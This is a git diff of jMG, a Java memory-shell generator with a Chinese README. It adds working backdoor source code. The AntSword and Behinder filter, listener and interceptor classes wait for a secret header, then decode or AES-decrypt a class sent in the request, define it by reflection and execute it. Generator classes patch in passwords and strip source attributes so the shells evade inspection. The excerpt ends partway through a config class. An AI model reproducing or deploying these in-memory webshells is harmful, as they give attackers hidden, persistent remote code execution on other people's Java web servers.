diff --git a/README.md b/README.md
index 9c84d9d..90016d7 100644
--- a/README.md
+++ b/README.md
@@ -1,39 +1,65 @@
-# Java Memshell Generator
+
+
+
Java Memshell Generator
+
+ 一款支持高度自定义的 Java 内存马生成工具
+
-## 0x01 Introduce
+
-**jMG (Java Memshell Generator)** 是一款支持高度自定义的 Java 内存马生成工具,提供常见中间件的内存马注入支持。
+
-主要功能如下:
-- 支持的中间件和框架 (Tomcat/Resin/Jetty/WebLogic/WebSphere/Undertow/GlassFish/SpringMVC/SpringWebFlux)
-- 支持的工具 (AntSword/Behinder/Godzilla/Suo5)
-- 支持的内存马类型 (Filter/Listener/Interceptor/HandlerMethod)
-- 支持的输出格式 (BASE64/BCEL/CLASS/JS/JSP/JAR/BIGINTEGER)
-- 支持的辅助模块 (专项漏洞封装/表达式语句封装)
+> [!WARNING]
+> 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
-> 此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!
+
+## 功能
-## 0x02 Usage
+| 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
+|-----------|---------------|------------------------------------------------------------------|---------------|------------|---------|
+| Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
+| Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
+| WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
+| Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
+| WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | | JAR | |
+| Undertow | | Custom | | JAR_AGENT | |
+| GlassFish | | | | JS | |
+| | | | | JSP | |
-下载 jMG-GUI.jar 运行即可
+## 编译
-
+- maven
-
-## 0x03 Reference
-
-使用手册
-- [jMG v1.0.4](https://mp.weixin.qq.com/s/oAiGWY9ABhn2o148snA_sg)
-- [jMG v1.0.5](https://mp.weixin.qq.com/s/QjoRs_J5jVANrdEiiTtVtA)
-- [jMG v1.0.6](https://mp.weixin.qq.com/s/0ZzH35aRUPelq8nwilMQiA)
-- [jMG v1.0.8](https://mp.weixin.qq.com/s/HkceemQBtKJeWMBrMvUeXA)
-
-参考项目
+```shell
+mvn package assembly:single
```
-https://github.com/woodpecker-appstore/jexpr-encoder-utils
-https://github.com/feihong-cs/memShell
-https://github.com/su18/MemoryShell
-https://github.com/BeichenDream/GodzillaMemoryShellProject
-https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell
+
+- jmg-gui
+
+```shell
+java -jar ./jmg-gui/target/jmg-gui-1.0.8-jar-with-dependencies.jar
```
+
+## 文档
+
+- [jMG v1.0.8](https://9ex.org/jmg-1-0-8/)
+- [jMG v1.0.6](https://9ex.org/jmg-1-0-6/)
+- [jMG v1.0.5](https://9ex.org/jmg-1-0-5/)
+- [jMG v1.0.4](https://9ex.org/jmg-1-0-4/)
+
+## 致谢
+
+- https://github.com/c0ny1
+- https://github.com/whwlsfb
+- https://github.com/feihong-cs/memShell
+- https://github.com/su18/MemoryShell
+- https://github.com/BeichenDream/GodzillaMemoryShellProject
+
+## 协议
+
+- 遵循 MIT 协议
\ No newline at end of file
diff --git a/img/gui.png b/img/gui.png
deleted file mode 100644
index f79d259..0000000
Binary files a/img/gui.png and /dev/null differ
diff --git a/img/sglab.svg b/img/sglab.svg
deleted file mode 100644
index b168e05..0000000
--- a/img/sglab.svg
+++ /dev/null
@@ -1,100 +0,0 @@
-
-
-
diff --git a/jmg-antsword/pom.xml b/jmg-antsword/pom.xml
new file mode 100644
index 0000000..1c4d2bf
--- /dev/null
+++ b/jmg-antsword/pom.xml
@@ -0,0 +1,21 @@
+
+ 4.0.0
+
+ jmg
+ java-memshell-generator
+ ${revision}
+
+ jmg-antsword
+
+
+
+
+ jmg
+ jmg-core
+ ${revision}
+ compile
+
+
+
+
diff --git a/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java
new file mode 100644
index 0000000..55e3f4c
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java
@@ -0,0 +1,56 @@
+package jmg.antsword.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.antsword.util.ShellUtil;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+public class AntSwordGenerator implements IShellGenerator {
+
+ @Override
+ public void initShell(AbstractConfig config) {
+ if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+ }
+
+ @Override
+ public byte[] makeShell(AbstractConfig config) throws Exception {
+ initShell(config);
+ String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+ String shellClassName = ShellUtil.getShellClassName(shellName);
+ byte[] bytes = modifyShell(shellClassName, config);
+ config.setShellBytes(bytes);
+ config.setShellBytesLength(bytes.length);
+ config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+ return bytes;
+ }
+
+ @Override
+ public byte[] modifyShell(String className, AbstractConfig config) {
+ byte[] bytes = new byte[0];
+ try {
+ pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
+ CtClass ctClass = pool.getCtClass(className);
+ ctClass.getClassFile().setVersionToJava5();
+ JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+ JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+
+ if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+ String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+ JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+ }
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ bytes = ctClass.toBytecode();
+ ctClass.detach();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return bytes;
+ }
+
+}
diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java
new file mode 100755
index 0000000..0ca4787
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java
@@ -0,0 +1,57 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordFilter implements Filter {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+ HttpServletRequest request = (HttpServletRequest) servletRequest;
+ HttpServletResponse response = (HttpServletResponse) servletResponse;
+ try {
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ String cls = request.getParameter(pass);
+ if (cls != null) {
+ try {
+ byte[] data = doBase64Decode(cls);
+ URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+ Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+ method.setAccessible(true);
+ Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+ clazz.newInstance().equals(new Object[]{request, response});
+ } catch (Exception var7) {
+ }
+ }
+ } else {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ public byte[] doBase64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+
+ public void init(FilterConfig filterConfig) throws ServletException {
+ }
+
+ public void destroy() {
+ }
+}
\ No newline at end of file
diff --git a/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java
new file mode 100644
index 0000000..f871878
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java
@@ -0,0 +1,79 @@
+package jmg.antsword.memshell;
+
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.net.URLClassLoader;
+
+public class AntSwordListener implements ServletRequestListener {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+ }
+
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ HttpServletResponse response = getResponseFromRequest(request);
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ String cls = request.getParameter(pass);
+ if (cls != null) {
+ try {
+ byte[] data = base64Decode(cls);
+ URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
+ Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
+ method.setAccessible(true);
+ Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
+ clazz.newInstance().equals(new Object[]{request, response});
+ } catch (Exception var7) {
+ }
+ }
+ }
+
+ } catch (Exception ignored) {
+ }
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+ return null;
+ }
+
+ private static synchronized Object getFV(Object var0, String var1) throws Exception {
+ Field var2 = null;
+ Class var3 = var0.getClass();
+
+ while (var3 != Object.class) {
+ try {
+ var2 = var3.getDeclaredField(var1);
+ break;
+ } catch (NoSuchFieldException var5) {
+ var3 = var3.getSuperclass();
+ }
+ }
+
+ if (var2 == null) {
+ throw new NoSuchFieldException(var1);
+ } else {
+ var2.setAccessible(true);
+ return var2.get(var0);
+ }
+ }
+
+ public byte[] base64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
+ }
+ }
+
+}
diff --git a/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java
new file mode 100644
index 0000000..ea8ebb4
--- /dev/null
+++ b/jmg-antsword/src/main/java/jmg/antsword/util/ShellUtil.java
@@ -0,0 +1,41 @@
+package jmg.antsword.util;
+
+import jmg.antsword.memshell.AntSwordFilter;
+import jmg.antsword.memshell.AntSwordListener;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+ private static final Map SHELL_CLASSNAME_MAP = new HashMap();
+ private static final Map> toolMap = new HashMap();
+
+ public ShellUtil() {
+ }
+
+ public static String getShellName(String toolType, String shellType) {
+ Map shellMap = toolMap.get(toolType);
+ return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+ }
+
+ public static String getShellClassName(String shellName) throws Exception {
+ if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+ throw new Exception("Invalid shell type '" + shellName + "'");
+ } else {
+ return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+ }
+ }
+
+ static {
+ SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
+ SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
+ Map antSwordMap = new HashMap();
+ antSwordMap.put(Constants.SHELL_FILTER,AntSwordFilter.class.getSimpleName());
+ antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
+ toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
+ }
+
+
+}
diff --git a/jmg-behinder/pom.xml b/jmg-behinder/pom.xml
new file mode 100644
index 0000000..481a09a
--- /dev/null
+++ b/jmg-behinder/pom.xml
@@ -0,0 +1,21 @@
+
+ 4.0.0
+
+ jmg
+ java-memshell-generator
+ ${revision}
+
+ jmg-behinder
+
+
+
+
+ jmg
+ jmg-core
+ ${revision}
+ compile
+
+
+
+
diff --git a/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java
new file mode 100644
index 0000000..9537578
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/generator/BehinderGenerator.java
@@ -0,0 +1,56 @@
+package jmg.behinder.generator;
+
+import javassist.ClassClassPath;
+import javassist.CtClass;
+import jmg.behinder.util.ShellUtil;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.generator.IShellGenerator;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+import jmg.core.util.ResponseUtil;
+
+public class BehinderGenerator implements IShellGenerator {
+
+ @Override
+ public void initShell(AbstractConfig config) {
+ if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
+ }
+
+ @Override
+ public byte[] makeShell(AbstractConfig config) throws Exception {
+ initShell(config);
+ String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
+ String shellClassName = ShellUtil.getShellClassName(shellName);
+ byte[] bytes = modifyShell(shellClassName, config);
+ config.setShellBytes(bytes);
+ config.setShellBytesLength(bytes.length);
+ config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
+ return bytes;
+ }
+
+ @Override
+ public byte[] modifyShell(String className, AbstractConfig config) {
+ byte[] bytes = new byte[0];
+ try {
+ pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
+ CtClass ctClass = pool.getCtClass(className);
+ ctClass.getClassFile().setVersionToJava5();
+ JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
+ JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
+ JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
+ if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
+ String methodBody = ResponseUtil.getMethodBody(config.getServerType());
+ JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
+ }
+ JavassistUtil.removeSourceFileAttribute(ctClass);
+ bytes = ctClass.toBytecode();
+ ctClass.detach();
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ return bytes;
+ }
+
+}
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java
new file mode 100755
index 0000000..c41c4c5
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderFilter.java
@@ -0,0 +1,70 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.*;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class BehinderFilter extends ClassLoader implements Filter {
+ public String pass;
+ public String headerName;
+ public String headerValue;
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
+
+ public BehinderFilter() {
+ }
+
+ public BehinderFilter(ClassLoader c) {
+ super(c);
+ }
+
+ public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
+ HttpServletRequest request = (HttpServletRequest) servletRequest;
+ HttpServletResponse response = (HttpServletResponse) servletResponse;
+
+ try {
+ if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
+ HttpSession session = ((HttpServletRequest) servletRequest).getSession();
+ Map obj = new HashMap();
+ obj.put("request", servletRequest);
+ obj.put("response", response);
+ obj.put("session", session);
+
+ session.putValue("u", this.pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+ (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
+ } else {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ } catch (Exception e) {
+ filterChain.doFilter(servletRequest, servletResponse);
+ }
+ }
+
+ public byte[] doBase64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+
+ public void init(FilterConfig filterConfig) throws ServletException {
+ }
+
+ public void destroy() {
+ }
+}
\ No newline at end of file
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java
new file mode 100644
index 0000000..1ff7f0f
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderInterceptor.java
@@ -0,0 +1,78 @@
+package jmg.behinder.memshell;
+
+import org.springframework.web.servlet.AsyncHandlerInterceptor;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+
+public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
+
+
+ public String pass;
+
+ public String headerName;
+
+ public String headerValue;
+
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
+
+
+ public BehinderInterceptor(ClassLoader c) {
+ super(c);
+ }
+
+
+ public BehinderInterceptor() {
+ }
+
+ public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ try {
+ HttpSession session = request.getSession();
+ Map obj = new HashMap();
+ obj.put("request", request);
+ obj.put("response", response);
+ obj.put("session", session);
+ session.putValue("u", this.pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
+ (new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+ } catch (Exception e) {
+ }
+ return false;
+ } else {
+ return true;
+ }
+ }
+
+ public static byte[] b64Decode(String bs) throws Exception {
+ byte[] value = null;
+
+ Class base64;
+ try {
+ base64 = Class.forName("java.util.Base64");
+ Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
+ value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
+ } catch (Exception var6) {
+ try {
+ base64 = Class.forName("sun.misc.BASE64Decoder");
+ Object decoder = base64.newInstance();
+ value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
+ } catch (Exception var5) {
+ }
+ }
+
+ return value;
+ }
+}
+
diff --git a/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java
new file mode 100644
index 0000000..3a43c0f
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/memshell/BehinderListener.java
@@ -0,0 +1,97 @@
+package jmg.behinder.memshell;
+
+import javax.crypto.Cipher;
+import javax.crypto.spec.SecretKeySpec;
+import javax.servlet.ServletRequestEvent;
+import javax.servlet.ServletRequestListener;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import javax.servlet.http.HttpSession;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+public class BehinderListener extends ClassLoader implements ServletRequestListener {
+ public String pass;
+
+ public String headerName;
+
+ public String headerValue;
+
+
+ public BehinderListener() {
+ }
+
+ public BehinderListener(ClassLoader c) {
+ super(c);
+ }
+
+
+ public Class g(byte[] b) {
+ return super.defineClass(b, 0, b.length);
+ }
+
+
+ public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
+ }
+
+ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
+ HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
+ try {
+ if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
+ HttpServletResponse response = this.getResponseFromRequest(request);
+ HttpSession session = request.getSession();
+ Map obj = new HashMap();
+ obj.put("request", request);
+ obj.put("response", response);
+ obj.put("session", session);
+ try {
+ session.putValue("u", pass);
+ Cipher c = Cipher.getInstance("AES");
+ c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
+ (new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
+ } catch (Exception var7) {
+ }
+ }
+ } catch (Exception e) {
+
+ }
+
+ }
+
+ private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
+ return null;
+ }
+
+ private static synchronized Object getFV(Object var0, String var1) throws Exception {
+ Field var2 = null;
+ Class var3 = var0.getClass();
+
+ while (var3 != Object.class) {
+ try {
+ var2 = var3.getDeclaredField(var1);
+ break;
+ } catch (NoSuchFieldException var5) {
+ var3 = var3.getSuperclass();
+ }
+ }
+
+ if (var2 == null) {
+ throw new NoSuchFieldException(var1);
+ } else {
+ var2.setAccessible(true);
+ return var2.get(var0);
+ }
+ }
+
+ public byte[] base64Decode(String str) throws Exception {
+ try {
+ Class clazz = Class.forName("sun.misc.BASE64Decoder");
+ return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
+ } catch (Exception var5) {
+ Class clazz = Class.forName("java.util.Base64");
+ Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
+ return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
+ }
+ }
+}
diff --git a/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java
new file mode 100644
index 0000000..dd5dab2
--- /dev/null
+++ b/jmg-behinder/src/main/java/jmg/behinder/util/ShellUtil.java
@@ -0,0 +1,46 @@
+package jmg.behinder.util;
+
+import jmg.behinder.memshell.BehinderFilter;
+import jmg.behinder.memshell.BehinderInterceptor;
+import jmg.behinder.memshell.BehinderListener;
+import jmg.core.config.Constants;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class ShellUtil {
+
+ private static final Map SHELL_CLASSNAME_MAP = new HashMap();
+ private static final Map> toolMap = new HashMap();
+
+ public ShellUtil() {
+ }
+
+ public static String getShellName(String toolType, String shellType) {
+ Map shellMap = toolMap.get(toolType);
+ return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
+ }
+
+ public static String getShellClassName(String shellName) throws Exception {
+ if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
+ throw new Exception("Invalid shell type '" + shellName + "'");
+ } else {
+ return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
+ }
+ }
+
+ static {
+ SHELL_CLASSNAME_MAP.put(BehinderListener.class.getSimpleName(), BehinderListener.class.getName());
+ SHELL_CLASSNAME_MAP.put(BehinderFilter.class.getSimpleName(), BehinderFilter.class.getName());
+ SHELL_CLASSNAME_MAP.put(BehinderInterceptor.class.getSimpleName(), BehinderInterceptor.class.getName());
+
+ Map behinderMap = new HashMap();
+ behinderMap.put(Constants.SHELL_FILTER, BehinderFilter.class.getSimpleName());
+ behinderMap.put(Constants.SHELL_LISTENER, BehinderListener.class.getSimpleName());
+ behinderMap.put(Constants.SHELL_INTERCEPTOR, BehinderInterceptor.class.getSimpleName());
+ toolMap.put(Constants.TOOL_BEHINDER, behinderMap);
+
+ }
+
+
+}
diff --git a/jmg-core/pom.xml b/jmg-core/pom.xml
new file mode 100644
index 0000000..18a2b9f
--- /dev/null
+++ b/jmg-core/pom.xml
@@ -0,0 +1,26 @@
+
+
+ java-memshell-generator
+ jmg
+ ${revision}
+
+ 4.0.0
+ jmg-core
+
+
+
+
+ org.springframework
+ spring-web
+ 5.3.29
+
+
+
+ org.springframework
+ spring-webflux
+ 5.3.29
+
+
+
+
diff --git a/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java
new file mode 100644
index 0000000..9bf7f18
--- /dev/null
+++ b/jmg-core/src/main/java/jmg/core/config/AbstractConfig.java
@@ -0,0 +1,307 @@
+package jmg.core.config;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class AbstractConfig {
+
+
+ private String injectorClassName;
+
+ public String getInjectorClassName() {
+ return injectorClassName;
+ }
+
+ public void setInjectorClassName(String injectorClassName) {
+ this.injectorClassName = injectorClassName;
+ }
+
+
+ private boolean implementsASTTransformationType = false;
+
+ private boolean implementsScriptEngineFactory = false;
+
+ public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
+ this.implementsASTTransformationType = implementsASTTransformationType;
+ }
+
+ public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
+ this.implementsScriptEngineFactory = implementsScriptEngineFactory;
+ }
+
+ public boolean isImplementsASTTransformationType() {
+ return implementsASTTransformationType;
+ }
+
+ public boolean isImplementsScriptEngineFactory() {
+ return implementsScriptEngineFactory;
+ }
+
+
+ private String injectorSimpleClassName;
+
+ public String getInjectorSimpleClassName() {
+ return injectorSimpleClassName;
+ }
+
+ public void setInjectorSimpleClassName(String injectorSimpleClassName) {
+ this.injectorSimpleClassName = injectorSimpleClassName;
+ }
+
+
+ private byte[] injectorBytes;
+
+ public byte[] getInjectorBytes() {
+ return injectorBytes;
+ }
+
+ public void setInjectorBytes(byte[] injectorBytes) {
+ this.injectorBytes = injectorBytes;
+ }
+
+
+ private int injectorBytesLength;
+
+ public int getInjectorBytesLength() {
+ return injectorBytesLength;
+ }
+
+ public void setInjectorBytesLength(int injectorBytesLength) {
+ this.injectorBytesLength = injectorBytesLength;
+ }
+
+
+
+ private String shellClassName;
+
+ public String getShellClassName() {
+ return shellClassName;
+ }
+
+ public void setShellClassName(String className) {
+ this.shellClassName = className;
+ }
+
+
+
+ private String shellSimpleClassName;
+
+ public String getShellSimpleClassName() {
+ return shellSimpleClassName;
+ }
+
+ public void setShellSimpleClassName(String shellSimpleClassName) {
+ this.shellSimpleClassName = shellSimpleClassName;
+ }
+
+ private byte[] shellBytes;
+
+ public byte[] getShellBytes() {
+ return shellBytes;
+ }
+
+ public void setShellBytes(byte[] shellBytes) {
+ this.shellBytes = shellBytes;
+ }
+
+
+ private int shellBytesLength;
+
+
+
+ public int getShellBytesLength() {
+ return shellBytesLength;
+ }
+
+ public void setShellBytesLength(int shellBytesLength) {
+ this.shellBytesLength = shellBytesLength;
+ }
+
+
+ public String getShellGzipBase64String() {
+ return shellGzipBase64String;
+ }
+
+ public void setShellGzipBase64String(String shellGzipBase64String) {
+ this.shellGzipBase64String = shellGzipBase64String;
+ }
+
+ public String shellGzipBase64String;
+
+
+ public boolean isEnableDebug() {
+ return enableDebug;
+ }
+
+ public void setEnableDebug(boolean enableDebug) {
+ this.enableDebug = enableDebug;
+ }
+
+ private boolean enableDebug = false;
+
+
+
+
+ private String urlPattern;
+
+ private String outputFormat;
+ private String savePath;
+ private String pass;
+ private String key;
+ private String serverType;
+ private String shellType;
+
+ private String headerName;
+ private String headerValue;
+
+
+ private String methodBody;
+
+
+ private String gadgetType;
+
+
+ public String getUrlPattern() {
+ return urlPattern;
+ }
+
+ public void setUrlPattern(String urlPattern) {
+ this.urlPattern = urlPattern;
+ }
+
+ public String getOutputFormat() {
+ return outputFormat;
+ }
+
+ public void setOutputFormat(String outputFormat) {
+ this.outputFormat = outputFormat;
+ }
+
+ public String getSavePath() {
+ return savePath;
+ }
+
+ public void setSavePath(String savePath) {
+ this.savePath = savePath;
+ }
+
+ public String getPass() {
+ return pass;
+ }
